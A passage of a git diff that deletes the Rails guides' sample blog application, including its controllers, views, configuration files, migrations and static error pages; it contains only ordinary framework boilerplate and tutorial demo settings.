-    @comment = @post.comments.create(comment_params)
-    redirect_to post_path(@post)
-  end
-
-  def destroy
-    @post = Post.find(params[:post_id])
-    @comment = @post.comments.find(params[:id])
-    @comment.destroy
-    redirect_to post_path(@post)
-  end
-
-  private
-
-    def comment_params
-      params.require(:comment).permit(:commenter, :body)
-    end
-end
diff --git a/guides/code/getting_started/app/controllers/posts_controller.rb b/guides/code/getting_started/app/controllers/posts_controller.rb
deleted file mode 100644
index 02689ad67b..0000000000
--- a/guides/code/getting_started/app/controllers/posts_controller.rb
+++ /dev/null
@@ -1,53 +0,0 @@
-class PostsController < ApplicationController
-
-  http_basic_authenticate_with name: "dhh", password: "secret", except: [:index, :show]
-
-  def index
-    @posts = Post.all
-  end
-
-  def show
-    @post = Post.find(params[:id])
-  end
-
-  def edit
-    @post = Post.find(params[:id])
-  end
-
-  def update
-    @post = Post.find(params[:id])
-
-    if @post.update(post_params)
-      redirect_to action: :show, id: @post.id
-    else
-      render 'edit'
-    end
-  end
-
-  def new
-    @post = Post.new
-  end
-
-  def create
-    @post = Post.new(post_params)
-
-    if @post.save
-      redirect_to action: :show, id: @post.id
-    else
-      render 'new'
-    end
-  end
-
-  def destroy
-    @post = Post.find(params[:id])
-    @post.destroy
-
-    redirect_to action: :index
-  end
-
-  private
-
-    def post_params
-      params.require(:post).permit(:title, :text)
-    end
-end
diff --git a/guides/code/getting_started/app/controllers/welcome_controller.rb b/guides/code/getting_started/app/controllers/welcome_controller.rb
deleted file mode 100644
index f9b859b9c9..0000000000
--- a/guides/code/getting_started/app/controllers/welcome_controller.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class WelcomeController < ApplicationController
-  def index
-  end
-end
diff --git a/guides/code/getting_started/app/helpers/application_helper.rb b/guides/code/getting_started/app/helpers/application_helper.rb
deleted file mode 100644
index de6be7945c..0000000000
--- a/guides/code/getting_started/app/helpers/application_helper.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-module ApplicationHelper
-end
diff --git a/guides/code/getting_started/app/helpers/comments_helper.rb b/guides/code/getting_started/app/helpers/comments_helper.rb
deleted file mode 100644
index 0ec9ca5f2d..0000000000
--- a/guides/code/getting_started/app/helpers/comments_helper.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-module CommentsHelper
-end
diff --git a/guides/code/getting_started/app/helpers/posts_helper.rb b/guides/code/getting_started/app/helpers/posts_helper.rb
deleted file mode 100644
index a7b8cec898..0000000000
--- a/guides/code/getting_started/app/helpers/posts_helper.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-module PostsHelper
-end
diff --git a/guides/code/getting_started/app/helpers/welcome_helper.rb b/guides/code/getting_started/app/helpers/welcome_helper.rb
deleted file mode 100644
index eeead45fc9..0000000000
--- a/guides/code/getting_started/app/helpers/welcome_helper.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-module WelcomeHelper
-end
diff --git a/guides/code/getting_started/app/mailers/.keep b/guides/code/getting_started/app/mailers/.keep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/guides/code/getting_started/app/mailers/.keep
+++ /dev/null
diff --git a/guides/code/getting_started/app/models/.keep b/guides/code/getting_started/app/models/.keep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/guides/code/getting_started/app/models/.keep
+++ /dev/null
diff --git a/guides/code/getting_started/app/models/comment.rb b/guides/code/getting_started/app/models/comment.rb
deleted file mode 100644
index 4e76c5b5b0..0000000000
--- a/guides/code/getting_started/app/models/comment.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class Comment < ActiveRecord::Base
-  belongs_to :post
-end
diff --git a/guides/code/getting_started/app/models/concerns/.keep b/guides/code/getting_started/app/models/concerns/.keep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/guides/code/getting_started/app/models/concerns/.keep
+++ /dev/null
diff --git a/guides/code/getting_started/app/models/post.rb b/guides/code/getting_started/app/models/post.rb
deleted file mode 100644
index 64e0d721fd..0000000000
--- a/guides/code/getting_started/app/models/post.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class Post < ActiveRecord::Base
-  has_many :comments, dependent: :destroy
-  
-  validates :title,
-    presence: true,
-    length: { minimum: 5 }
-end
diff --git a/guides/code/getting_started/app/views/comments/_comment.html.erb b/guides/code/getting_started/app/views/comments/_comment.html.erb
deleted file mode 100644
index 593493339e..0000000000
--- a/guides/code/getting_started/app/views/comments/_comment.html.erb
+++ /dev/null
@@ -1,15 +0,0 @@
-<p>
-  <strong>Commenter:</strong>
-  <%= comment.commenter %>
-</p>
- 
-<p>
-  <strong>Comment:</strong>
-  <%= comment.body %>
-</p>
-
-<p>
-  <%= link_to 'Destroy Comment', [comment.post, comment],
-               method: :delete,
-               data: { confirm: 'Are you sure?' } %>
-</p>
diff --git a/guides/code/getting_started/app/views/comments/_form.html.erb b/guides/code/getting_started/app/views/comments/_form.html.erb
deleted file mode 100644
index 00cb3a08f0..0000000000
--- a/guides/code/getting_started/app/views/comments/_form.html.erb
+++ /dev/null
@@ -1,13 +0,0 @@
-<%= form_for([@post, @post.comments.build]) do |f| %>
-  <p>
-    <%= f.label :commenter %><br />
-    <%= f.text_field :commenter %>
-  </p>
-  <p>
-    <%= f.label :body %><br />
-    <%= f.text_area :body %>
-  </p>
-  <p>
-    <%= f.submit %>
-  </p>
-<% end %>
diff --git a/guides/code/getting_started/app/views/layouts/application.html.erb b/guides/code/getting_started/app/views/layouts/application.html.erb
deleted file mode 100644
index 95368c37a3..0000000000
--- a/guides/code/getting_started/app/views/layouts/application.html.erb
+++ /dev/null
@@ -1,14 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
-  <title>Blog</title>
-  <%= stylesheet_link_tag    "application", media: "all", "data-turbolinks-track" => true %>
-  <%= javascript_include_tag "application", "data-turbolinks-track" => true %>
-  <%= csrf_meta_tags %>
-</head>
-<body>
-
-<%= yield %>
-
-</body>
-</html>
diff --git a/guides/code/getting_started/app/views/posts/_form.html.erb b/guides/code/getting_started/app/views/posts/_form.html.erb
deleted file mode 100644
index f2f83585e1..0000000000
--- a/guides/code/getting_started/app/views/posts/_form.html.erb
+++ /dev/null
@@ -1,27 +0,0 @@
-<%= form_for @post do |f| %>
-  <% if @post.errors.any? %>
-  <div id="error_explanation">
-    <h2><%= pluralize(@post.errors.count, "error") %> prohibited
-      this post from being saved:</h2>
-    <ul>
-    <% @post.errors.full_messages.each do |msg| %>
-      <li><%= msg %></li>
-    <% end %>
-    </ul>
-  </div>
-  <% end %>
-  <p>
-    <%= f.label :title %><br>
-    <%= f.text_field :title %>
-  </p>
-
-  <p>
-    <%= f.label :text %><br>
-    <%= f.text_area :text %>
-  </p>
-
-  <p>
-    <%= f.submit %>
-  </p>
-<% end %>
-
diff --git a/guides/code/getting_started/app/views/posts/edit.html.erb b/guides/code/getting_started/app/views/posts/edit.html.erb
deleted file mode 100644
index 393e7430d0..0000000000
--- a/guides/code/getting_started/app/views/posts/edit.html.erb
+++ /dev/null
@@ -1,5 +0,0 @@
-<h1>Edit post</h1>
- 
-<%= render 'form' %>
- 
-<%= link_to 'Back', action: :index %>
diff --git a/guides/code/getting_started/app/views/posts/index.html.erb b/guides/code/getting_started/app/views/posts/index.html.erb
deleted file mode 100644
index 7369f0396f..0000000000
--- a/guides/code/getting_started/app/views/posts/index.html.erb
+++ /dev/null
@@ -1,21 +0,0 @@
-<h1>Listing Posts</h1>
-<table>
-  <tr>
-    <th>Title</th>
-    <th>Text</th>
-    <th></th>
-    <th></th>
-    <th></th>
-  </tr>
- 
-<% @posts.each do |post| %>
-  <tr>
-    <td><%= post.title %></td>
-    <td><%= post.text %></td>
-    <td><%= link_to 'Show', action: :show, id: post.id %></td>
-    <td><%= link_to 'Edit', action: :edit, id: post.id %></td>
-    <td><%= link_to 'Destroy', { action: :destroy, id: post.id },
-                    method: :delete, data: { confirm: 'Are you sure?' } %></td>
-  </tr>
-<% end %>
-</table>
diff --git a/guides/code/getting_started/app/views/posts/new.html.erb b/guides/code/getting_started/app/views/posts/new.html.erb
deleted file mode 100644
index efa81038ec..0000000000
--- a/guides/code/getting_started/app/views/posts/new.html.erb
+++ /dev/null
@@ -1,5 +0,0 @@
-<h1>New post</h1>
- 
-<%= render 'form' %>
- 
-<%= link_to 'Back', action: :index %>
diff --git a/guides/code/getting_started/app/views/posts/show.html.erb b/guides/code/getting_started/app/views/posts/show.html.erb
deleted file mode 100644
index e99e9edbb3..0000000000
--- a/guides/code/getting_started/app/views/posts/show.html.erb
+++ /dev/null
@@ -1,18 +0,0 @@
-<p>
-  <strong>Title:</strong>
-  <%= @post.title %>
-</p>
- 
-<p>
-  <strong>Text:</strong>
-  <%= @post.text %>
-</p>
-
-<h2>Comments</h2>
-<%= render @post.comments %>
- 
-<h2>Add a comment:</h2>
-<%= render "comments/form" %>
- 
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %>
diff --git a/guides/code/getting_started/app/views/welcome/index.html.erb b/guides/code/getting_started/app/views/welcome/index.html.erb
deleted file mode 100644
index 56be8dd3cc..0000000000
--- a/guides/code/getting_started/app/views/welcome/index.html.erb
+++ /dev/null
@@ -1,4 +0,0 @@
-<h1>Hello, Rails!</h1>
-
-<%= link_to "My Blog", controller: "posts" %>
-<%= link_to "New Post", new_post_path %>
diff --git a/guides/code/getting_started/bin/bundle b/guides/code/getting_started/bin/bundle
deleted file mode 100755
index 45cf37fba4..0000000000
--- a/guides/code/getting_started/bin/bundle
+++ /dev/null
@@ -1,4 +0,0 @@
-#!/usr/bin/env ruby
-ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
-require 'rubygems'
-load Gem.bin_path('bundler', 'bundle')
diff --git a/guides/code/getting_started/bin/rails b/guides/code/getting_started/bin/rails
deleted file mode 100755
index 728cd85aa5..0000000000
--- a/guides/code/getting_started/bin/rails
+++ /dev/null
@@ -1,4 +0,0 @@
-#!/usr/bin/env ruby
-APP_PATH = File.expand_path('../../config/application',  __FILE__)
-require_relative '../config/boot'
-require 'rails/commands'
diff --git a/guides/code/getting_started/bin/rake b/guides/code/getting_started/bin/rake
deleted file mode 100755
index 17240489f6..0000000000
--- a/guides/code/getting_started/bin/rake
+++ /dev/null
@@ -1,4 +0,0 @@
-#!/usr/bin/env ruby
-require_relative '../config/boot'
-require 'rake'
-Rake.application.run
diff --git a/guides/code/getting_started/config.ru b/guides/code/getting_started/config.ru
deleted file mode 100644
index ddf869e921..0000000000
--- a/guides/code/getting_started/config.ru
+++ /dev/null
@@ -1,4 +0,0 @@
-# This file is used by Rack-based servers to start the application.
-
-require ::File.expand_path('../config/environment',  __FILE__)
-run Blog::Application
diff --git a/guides/code/getting_started/config/application.rb b/guides/code/getting_started/config/application.rb
deleted file mode 100644
index 3d7604b659..0000000000
--- a/guides/code/getting_started/config/application.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-require File.expand_path('../boot', __FILE__)
-
-require 'rails/all'
-
-# Require the gems listed in Gemfile, including any gems
-# you've limited to :test, :development, or :production.
-Bundler.require(:default, Rails.env)
-
-module Blog
-  class Application < Rails::Application
-    # Settings in config/environments/* take precedence over those specified here.
-    # Application configuration should go into files in config/initializers
-    # -- all .rb files in that directory are automatically loaded.
-
-    # Custom directories with classes and modules you want to be autoloadable.
-    # config.autoload_paths += %W(#{config.root}/extras)
-  end
-end
diff --git a/guides/code/getting_started/config/boot.rb b/guides/code/getting_started/config/boot.rb
deleted file mode 100644
index 3596736667..0000000000
--- a/guides/code/getting_started/config/boot.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-# Set up gems listed in the Gemfile.
-ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
-
-require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
diff --git a/guides/code/getting_started/config/database.yml b/guides/code/getting_started/config/database.yml
deleted file mode 100644
index 51a4dd459d..0000000000
--- a/guides/code/getting_started/config/database.yml
+++ /dev/null
@@ -1,25 +0,0 @@
-# SQLite version 3.x
-#   gem install sqlite3
-#
-#   Ensure the SQLite 3 gem is defined in your Gemfile
-#   gem 'sqlite3'
-development:
-  adapter: sqlite3
-  database: db/development.sqlite3
-  pool: 5
-  timeout: 5000
-
-# Warning: The database defined as "test" will be erased and
-# re-generated from your development database when you run "rake".
-# Do not set this db to the same as development or production.
-test:
-  adapter: sqlite3
-  database: db/test.sqlite3
-  pool: 5
-  timeout: 5000
-
-production:
-  adapter: sqlite3
-  database: db/production.sqlite3
-  pool: 5
-  timeout: 5000
diff --git a/guides/code/getting_started/config/environment.rb b/guides/code/getting_started/config/environment.rb
deleted file mode 100644
index e7e341c960..0000000000
--- a/guides/code/getting_started/config/environment.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-# Load the Rails application.
-require File.expand_path('../application', __FILE__)
-
-# Initialize the Rails application.
-Blog::Application.initialize!
diff --git a/guides/code/getting_started/config/environments/development.rb b/guides/code/getting_started/config/environments/development.rb
deleted file mode 100644
index 7e5692b08b..0000000000
--- a/guides/code/getting_started/config/environments/development.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-Blog::Application.configure do
-  # Settings specified here will take precedence over those in config/application.rb.
-
-  # In the development environment your application's code is reloaded on
-  # every request. This slows down response time but is perfect for development
-  # since you don't have to restart the web server when you make code changes.
-  config.cache_classes = false
-
-  # Do not eager load code on boot.
-  config.eager_load = false
-
-  # Show full error reports and disable caching.
-  config.consider_all_requests_local       = true
-  config.action_controller.perform_caching = false
-
-  # Don't care if the mailer can't send.
-  config.action_mailer.raise_delivery_errors = false
-
-  # Print deprecation notices to the Rails logger.
-  config.active_support.deprecation = :log
-
-  # Only use best-standards-support built into browsers.
-  config.action_dispatch.best_standards_support = :builtin
-
-  # Raise an error on page load if there are pending migrations.
-  config.active_record.migration_error = :page_load
-
-  # Debug mode disables concatenation and preprocessing of assets.
-  config.assets.debug = true
-end
diff --git a/guides/code/getting_started/config/environments/production.rb b/guides/code/getting_started/config/environments/production.rb
deleted file mode 100644
index 368a735122..0000000000
--- a/guides/code/getting_started/config/environments/production.rb
+++ /dev/null
@@ -1,80 +0,0 @@
-Blog::Application.configure do
-  # Settings specified here will take precedence over those in config/application.rb.
-
-  # Code is not reloaded between requests.
-  config.cache_classes = true
-
-  # Eager load code on boot. This eager loads most of Rails and
-  # your application in memory, allowing both thread web servers
-  # and those relying on copy on write to perform better.
-  # Rake tasks automatically ignore this option for performance.
-  config.eager_load = true
-
-  # Full error reports are disabled and caching is turned on.
-  config.consider_all_requests_local       = false
-  config.action_controller.perform_caching = true
-
-  # Enable Rack::Cache to put a simple HTTP cache in front of your application
-  # Add `rack-cache` to your Gemfile before enabling this.
-  # For large-scale production use, consider using a caching reverse proxy like nginx, varnish or squid.
-  # config.action_dispatch.rack_cache = true
-
-  # Disable Rails's static asset server (Apache or nginx will already do this).
-  config.serve_static_assets = false
-
-  # Compress JavaScripts and CSS.
-  config.assets.js_compressor  = :uglifier
-  # config.assets.css_compressor = :sass
-
-  # Whether to fallback to assets pipeline if a precompiled asset is missed.
-  config.assets.compile = false
-
-  # Generate digests for assets URLs.
-  config.assets.digest = true
-
-  # Version of your assets, change this if you want to expire all your assets.
-  config.assets.version = '1.0'
-
-  # Specifies the header that your server uses for sending files.
-  # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
-  # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
-
-  # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
-  # config.force_ssl = true
-
-  # Set to :debug to see everything in the log.
-  config.log_level = :info
-
-  # Prepend all log lines with the following tags.
-  # config.log_tags = [ :subdomain, :uuid ]
-
-  # Use a different logger for distributed setups.
-  # config.logger = ActiveSupport::TaggedLogging.new(SyslogLogger.new)
-
-  # Use a different cache store in production.
-  # config.cache_store = :mem_cache_store
-
-  # Enable serving of images, stylesheets, and JavaScripts from an asset server.
-  # config.action_controller.asset_host = "http://assets.example.com"
-
-  # Precompile additional assets.
-  # application.js, application.css, and all non-JS/CSS in app/assets folder are already added.
-  # config.assets.precompile += %w( search.js )
-
-  # Ignore bad email addresses and do not raise email delivery errors.
-  # Set this to true and configure the email server for immediate delivery to raise delivery errors.
-  # config.action_mailer.raise_delivery_errors = false
-
-  # Enable locale fallbacks for I18n (makes lookups for any locale fall back to
-  # the I18n.default_locale when a translation can not be found).
-  config.i18n.fallbacks = true
-
-  # Send deprecation notices to registered listeners.
-  config.active_support.deprecation = :notify
-
-  # Disable automatic flushing of the log to improve performance.
-  # config.autoflush_log = false
-
-  # Use default logging formatter so that PID and timestamp are not suppressed.
-  config.log_formatter = ::Logger::Formatter.new
-end
diff --git a/guides/code/getting_started/config/environments/test.rb b/guides/code/getting_started/config/environments/test.rb
deleted file mode 100644
index 00adaa5015..0000000000
--- a/guides/code/getting_started/config/environments/test.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-Blog::Application.configure do
-  # Settings specified here will take precedence over those in config/application.rb.
-
-  # The test environment is used exclusively to run your application's
-  # test suite. You never need to work with it otherwise. Remember that
-  # your test database is "scratch space" for the test suite and is wiped
-  # and recreated between test runs. Don't rely on the data there!
-  config.cache_classes = true
-
-  # Do not eager load code on boot. This avoids loading your whole application
-  # just for the purpose of running a single test. If you are using a tool that
-  # preloads Rails for running tests, you may have to set it to true.
-  config.eager_load = false
-
-  # Configure static asset server for tests with Cache-Control for performance.
-  config.serve_static_assets = true
-  config.static_cache_control = "public, max-age=3600"
-
-  # Show full error reports and disable caching.
-  config.consider_all_requests_local       = true
-  config.action_controller.perform_caching = false
-
-  # Raise exceptions instead of rendering exception templates.
-  config.action_dispatch.show_exceptions = false
-
-  # Disable request forgery protection in test environment.
-  config.action_controller.allow_forgery_protection = false
-
-  # Tell Action Mailer not to deliver emails to the real world.
-  # The :test delivery method accumulates sent emails in the
-  # ActionMailer::Base.deliveries array.
-  config.action_mailer.delivery_method = :test
-
-  # Print deprecation notices to the stderr.
-  config.active_support.deprecation = :stderr
-end
diff --git a/guides/code/getting_started/config/initializers/backtrace_silencers.rb b/guides/code/getting_started/config/initializers/backtrace_silencers.rb
deleted file mode 100644
index 59385cdf37..0000000000
--- a/guides/code/getting_started/config/initializers/backtrace_silencers.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# You can add backtrace silencers for libraries that you're using but don't wish to see in your backtraces.
-# Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ }
-
-# You can also remove all the silencers if you're trying to debug a problem that might stem from framework code.
-# Rails.backtrace_cleaner.remove_silencers!
diff --git a/guides/code/getting_started/config/initializers/filter_parameter_logging.rb b/guides/code/getting_started/config/initializers/filter_parameter_logging.rb
deleted file mode 100644
index 4a994e1e7b..0000000000
--- a/guides/code/getting_started/config/initializers/filter_parameter_logging.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# Configure sensitive parameters which will be filtered from the log file.
-Rails.application.config.filter_parameters += [:password]
diff --git a/guides/code/getting_started/config/initializers/inflections.rb b/guides/code/getting_started/config/initializers/inflections.rb
deleted file mode 100644
index ac033bf9dc..0000000000
--- a/guides/code/getting_started/config/initializers/inflections.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# Add new inflection rules using the following format. Inflections
-# are locale specific, and you may define rules for as many different
-# locales as you wish. All of these examples are active by default:
-# ActiveSupport::Inflector.inflections(:en) do |inflect|
-#   inflect.plural /^(ox)$/i, '\1en'
-#   inflect.singular /^(ox)en/i, '\1'
-#   inflect.irregular 'person', 'people'
-#   inflect.uncountable %w( fish sheep )
-# end
-
-# These inflection rules are supported but not enabled by default:
-# ActiveSupport::Inflector.inflections(:en) do |inflect|
-#   inflect.acronym 'RESTful'
-# end
diff --git a/guides/code/getting_started/config/initializers/locale.rb b/guides/code/getting_started/config/initializers/locale.rb
deleted file mode 100644
index d89dac7c6a..0000000000
--- a/guides/code/getting_started/config/initializers/locale.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
-# Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC.
-# Rails.application.config.time_zone = 'Central Time (US & Canada)'
-
-# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
-# Rails.application.config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
-# Rails.application.config.i18n.default_locale = :de
diff --git a/guides/code/getting_started/config/initializers/mime_types.rb b/guides/code/getting_started/config/initializers/mime_types.rb
deleted file mode 100644
index 72aca7e441..0000000000
--- a/guides/code/getting_started/config/initializers/mime_types.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# Add new mime types for use in respond_to blocks:
-# Mime::Type.register "text/richtext", :rtf
-# Mime::Type.register_alias "text/html", :iphone
diff --git a/guides/code/getting_started/config/initializers/secret_token.rb b/guides/code/getting_started/config/initializers/secret_token.rb
deleted file mode 100644
index aaf57731be..0000000000
--- a/guides/code/getting_started/config/initializers/secret_token.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# Your secret key for verifying the integrity of signed cookies.
-# If you change this key, all old signed cookies will become invalid!
-
-# Make sure the secret is at least 30 characters and all random,
-# no regular words or you'll be exposed to dictionary attacks.
-# You can use `rake secret` to generate a secure secret key.
-
-# Make sure your secret_key_base is kept private
-# if you're sharing your code publicly.
-Blog::Application.config.secret_key_base = 'e8aab50cec8a06a75694111a4cbaf6e22fc288ccbc6b268683aae7273043c69b15ca07d10c92a788dd6077a54762cbfcc55f19c3459f7531221b3169f8171a53'
diff --git a/guides/code/getting_started/config/initializers/session_store.rb b/guides/code/getting_started/config/initializers/session_store.rb
deleted file mode 100644
index 3b2ca93ab9..0000000000
--- a/guides/code/getting_started/config/initializers/session_store.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-Blog::Application.config.session_store :cookie_store, key: '_blog_session'
diff --git a/guides/code/getting_started/config/initializers/wrap_parameters.rb b/guides/code/getting_started/config/initializers/wrap_parameters.rb
deleted file mode 100644
index 33725e95fd..0000000000
--- a/guides/code/getting_started/config/initializers/wrap_parameters.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# This file contains settings for ActionController::ParamsWrapper which
-# is enabled by default.
-
-# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
-ActiveSupport.on_load(:action_controller) do
-  wrap_parameters format: [:json] if respond_to?(:wrap_parameters)
-end
-
-# To enable root element in JSON for ActiveRecord objects.
-# ActiveSupport.on_load(:active_record) do
-#  self.include_root_in_json = true
-# end
diff --git a/guides/code/getting_started/config/locales/en.yml b/guides/code/getting_started/config/locales/en.yml
deleted file mode 100644
index 0653957166..0000000000
--- a/guides/code/getting_started/config/locales/en.yml
+++ /dev/null
@@ -1,23 +0,0 @@
-# Files in the config/locales directory are used for internationalization
-# and are automatically loaded by Rails. If you want to use locales other
-# than English, add the necessary files in this directory.
-#
-# To use the locales, use `I18n.t`:
-#
-#     I18n.t 'hello'
-#
-# In views, this is aliased to just `t`:
-#
-#     <%= t('hello') %>
-#
-# To use a different locale, set it with `I18n.locale`:
-#
-#     I18n.locale = :es
-#
-# This would use the information in config/locales/es.yml.
-#
-# To learn more, please read the Rails Internationalization guide
-# available at http://guides.rubyonrails.org/i18n.html.
-
-en:
-  hello: "Hello world"
diff --git a/guides/code/getting_started/config/routes.rb b/guides/code/getting_started/config/routes.rb
deleted file mode 100644
index 0155b613a3..0000000000
--- a/guides/code/getting_started/config/routes.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-Blog::Application.routes.draw do
-  resources :posts do
-    resources :comments
-  end
-
-  root "welcome#index"
-end
diff --git a/guides/code/getting_started/db/migrate/20130122042648_create_posts.rb b/guides/code/getting_started/db/migrate/20130122042648_create_posts.rb
deleted file mode 100644
index 602bef31ab..0000000000
--- a/guides/code/getting_started/db/migrate/20130122042648_create_posts.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-class CreatePosts < ActiveRecord::Migration
-  def change
-    create_table :posts do |t|
-      t.string :title
-      t.text :text
-
-      t.timestamps
-    end
-  end
-end
diff --git a/guides/code/getting_started/db/migrate/20130122045842_create_comments.rb b/guides/code/getting_started/db/migrate/20130122045842_create_comments.rb
deleted file mode 100644
index 3e51f9c0f7..0000000000
--- a/guides/code/getting_started/db/migrate/20130122045842_create_comments.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-class CreateComments < ActiveRecord::Migration
-  def change
-    create_table :comments do |t|
-      t.string :commenter
-      t.text :body
-      t.references :post, index: true
-
-      t.timestamps
-    end
-  end
-end
diff --git a/guides/code/getting_started/db/schema.rb b/guides/code/getting_started/db/schema.rb
deleted file mode 100644
index 101fe712a1..0000000000
--- a/guides/code/getting_started/db/schema.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-# encoding: UTF-8
-# This file is auto-generated from the current state of the database. Instead
-# of editing this file, please use the migrations feature of Active Record to
-# incrementally modify your database, and then regenerate this schema definition.
-#
-# Note that this schema.rb definition is the authoritative source for your
-# database schema. If you need to create the application database on another
-# system, you should be using db:schema:load, not running all the migrations
-# from scratch. The latter is a flawed and unsustainable approach (the more migrations
-# you'll amass, the slower it'll run and the greater likelihood for issues).
-#
-# It's strongly recommended that you check this file into your version control system.
-
-ActiveRecord::Schema.define(version: 20130122045842) do
-
-  create_table "comments", force: true do |t|
-    t.string   "commenter"
-    t.text     "body"
-    t.integer  "post_id"
-    t.datetime "created_at"
-    t.datetime "updated_at"
-  end
-
-  add_index "comments", ["post_id"], name: "index_comments_on_post_id"
-
-  create_table "posts", force: true do |t|
-    t.string   "title"
-    t.text     "text"
-    t.datetime "created_at"
-    t.datetime "updated_at"
-  end
-
-end
diff --git a/guides/code/getting_started/db/seeds.rb b/guides/code/getting_started/db/seeds.rb
deleted file mode 100644
index 4edb1e857e..0000000000
--- a/guides/code/getting_started/db/seeds.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# This file should contain all the record creation needed to seed the database with its default values.
-# The data can then be loaded with the rake db:seed (or created alongside the db with db:setup).
-#
-# Examples:
-#
-#   cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }])
-#   Mayor.create(name: 'Emanuel', city: cities.first)
diff --git a/guides/code/getting_started/lib/assets/.keep b/guides/code/getting_started/lib/assets/.keep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/guides/code/getting_started/lib/assets/.keep
+++ /dev/null
diff --git a/guides/code/getting_started/lib/tasks/.keep b/guides/code/getting_started/lib/tasks/.keep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/guides/code/getting_started/lib/tasks/.keep
+++ /dev/null
diff --git a/guides/code/getting_started/log/.keep b/guides/code/getting_started/log/.keep
deleted file mode 100644
index e69de29bb2..0000000000
--- a/guides/code/getting_started/log/.keep
+++ /dev/null
diff --git a/guides/code/getting_started/public/404.html b/guides/code/getting_started/public/404.html
deleted file mode 100644
index 3d287b135d..0000000000
--- a/guides/code/getting_started/public/404.html
+++ /dev/null
@@ -1,58 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
-  <title>The page you were looking for doesn't exist (404)</title>
-  <style>
-  body {
-    background-color: #EFEFEF;
-    color: #2E2F30;
-    text-align: center;
-    font-family: arial, sans-serif;
-  }
-
-  div.dialog {
-    width: 25em;
-    margin: 4em auto 0 auto;
-    border: 1px solid #CCC;
-    border-right-color: #999;
-    border-left-color: #999;
-    border-bottom-color: #BBB;
-    border-top: #B00100 solid 4px;
-    border-top-left-radius: 9px;
-    border-top-right-radius: 9px;
-    background-color: white;
-    padding: 7px 4em 0 4em;
-  }
-
-  h1 {
-    font-size: 100%;
-    color: #730E15;
-    line-height: 1.5em;
-  }
-
-  body > p {
-    width: 33em;
-    margin: 0 auto 1em;
-    padding: 1em 0;
-    background-color: #F7F7F7;
-    border: 1px solid #CCC;
-    border-right-color: #999;
-    border-bottom-color: #999;
-    border-bottom-left-radius: 4px;
-    border-bottom-right-radius: 4px;
-    border-top-color: #DADADA;
-    color: #666;
-    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
-  }
-  </style>
-</head>
-
-<body>
-  <!-- This file lives in public/404.html -->
-  <div class="dialog">
-    <h1>The page you were looking for doesn't exist.</h1>
-    <p>You may have mistyped the address or the page may have moved.</p>
-  </div>
-  <p>If you are the application owner check the logs for more information.</p>
-</body>
-</html>
diff --git a/guides/code/getting_started/public/422.html b/guides/code/getting_started/public/422.html
deleted file mode 100644
index 3b946bf4a4..0000000000
--- a/guides/code/getting_started/public/422.html
+++ /dev/null
@@ -1,58 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
-  <title>The change you wanted was rejected (422)</title>
-  <style>
-  body {
-    background-color: #EFEFEF;
-    color: #2E2F30;
-    text-align: center;
-    font-family: arial, sans-serif;
-  }
-
-  div.dialog {
-    width: 25em;
-    margin: 4em auto 0 auto;
-    border: 1px solid #CCC;
-    border-right-color: #999;
-    border-left-color: #999;
-    border-bottom-color: #BBB;
-    border-top: #B00100 solid 4px;
-    border-top-left-radius: 9px;
-    border-top-right-radius: 9px;
-    background-color: white;
-    padding: 7px 4em 0 4em;
-  }
-
-  h1 {
-    font-size: 100%;
-    color: #730E15;
-    line-height: 1.5em;
-  }
-
-  body > p {
-    width: 33em;
-    margin: 0 auto 1em;
-    padding: 1em 0;
-    background-color: #F7F7F7;
-    border: 1px solid #CCC;
-    border-right-color: #999;
-    border-bottom-color: #999;
